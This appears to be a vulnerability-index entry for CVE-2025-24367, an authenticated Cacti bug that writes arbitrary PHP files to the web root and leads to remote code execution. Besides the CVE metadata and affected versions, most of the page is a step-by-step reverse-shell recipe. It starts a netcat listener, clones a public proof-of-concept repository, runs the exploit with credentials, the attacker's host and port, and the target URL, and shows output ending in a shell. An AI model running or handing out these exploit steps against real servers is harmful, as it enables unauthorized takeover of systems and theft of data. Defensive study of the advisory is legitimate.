# CVE-2025-24367 - Cacti RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2025-24367
- **CVE:** CVE-2025-24367
- **GHSA:** GHSA-fxrq-fr7h-9rqq
- **CVSS score:** 8.7
- **CVSS vector:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- **Type:** CWE-144
- **Authentication:** User account
- **Complexity:** Low
- **Privileges:** Low
- **Affected versions:** <= 1.2.28
- **Patched versions:** 1.2.29
- **Published:** 2026-02-21
- **Updated:** 2026-02-26

CVE-2025-24367 is a **Cacti** bug disclosed **January 27, 2025** where a **logged-in user** can abuse the **graph/graph template** features to make Cacti **create arbitrary PHP files in the web root**. Once that happens, the attacker can request that file in a browser to get **remote code execution**, potentially taking over the server process, stealing data, changing configs, or planting a backdoor.

#### Reverse Shell

**[TheCyberGeek/CVE-2025-24367-Cacti-PoC](https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC/tree/main)** - Proof of Concept for CVE-2025-24367

First start a reverse shell listener

```bash
nc -lvnp $LPORT
# listening on $LPORT ...
#
```

Then run the exploit on the target

```bash
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
python3 -m venv .venv
source .venv/bin/activate
pip3 install requests beautifulsoup4

python3 exploit.py -u $USER -p $PASSWORD -i $LHOST -l $LPORT -url http://$TARGET
# [+] Cacti Instance Found!
# [+] Serving HTTP on port 80
# [+] Login Successful!
# [+] Got graph ID: 226
# [i] Created PHP filename: Dgvzz.php
# [+] Got payload: /bash
# [i] Created PHP filename: pzs79.php
# [+] Hit timeout, looks good for shell, check your listener!
# [+] Stopped HTTP server on port 80
```